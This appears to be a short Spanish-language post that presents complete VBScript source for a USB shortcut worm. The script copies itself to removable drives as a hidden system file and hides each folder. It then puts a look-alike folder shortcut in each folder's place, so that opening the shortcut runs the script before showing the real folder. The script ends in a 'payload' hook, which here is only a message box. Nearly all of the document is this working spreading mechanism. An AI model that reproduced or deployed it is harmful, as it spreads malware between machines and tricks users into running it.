hace lo siguiente :
oculta todas las carpetas y crea accesos directos de las carpetas , cuando  abren una carpeta o acceso directo . primero ejecuta el archivo vbs y luego abre la direccion de la carpeta

Set objfso = createobject("scripting.filesystemobject")
Set RainbowDash = createobject("Scripting.FileSystemObject")
Set discos = objfso.drives 'obtenemos la coleccion de discos
if Wscript.Arguments.count > 0 Then
	ejecucion Wscript.Arguments(0)
else
 For each d in discos 'por cada disco(d) en la coleccion(discos)
 'mensaje con la letra de disco
 if d.drivetype = 1 Then
	Dim subfg,destino
	subfg=d.driveletter & ":\"
	destino="" & subfg & "wlok.vbs"
	if not(RainbowDash.FileExists(destino)) Then
		objfso.copyfile WSCript.ScriptFullName,destino,true
		set archivo=objfso.getfile(destino)
		archivo.attributes=39
		Set micarpeta = objfso.getfolder(subfg) 
		Set subcarpetas = micarpeta.subfolders 
		For each s in subcarpetas 
			destino="" & subfg & "wlok.vbs"
			accesdirect s.name,subfg,destino
			oculto s.name,subfg
		Next
	End if
 End if
 Next
End If 
 
Function accesdirect(directorio,disco,destino)
DIM muaja,acce,directiorio1,argumento
directorio1= disco & directorio & ".lnk"
argumento="""" & directorio & """"
set muaja=WScript.CreateObject("Wscript.Shell")
set acces=muaja.CreateShortcut(directorio1)
With acces
	.TargetPath = destino
	.Arguments = argumento
	.WindowStyle = 1
	.IconLocation="C:\windows\System32\SHELL32.dll,3"
	.WindowStyle="1"
	.WorkingDirectory=disco
	.save
End With
End Function
 
Function oculto(directorio,disco)
	set carpetaoculta= objfso.getfolder(disco & directorio)
	carpetaoculta.attributes=39
End Function
 
Function ejecucion(parametros)
	parametros="""" & parametros & """"
	set correr=WScript.CreateObject("Wscript.Shell") 
	correr.run "explorer.exe " & parametros
	payload
End Function
 
Function payload()
	msgbox("payload")
End Function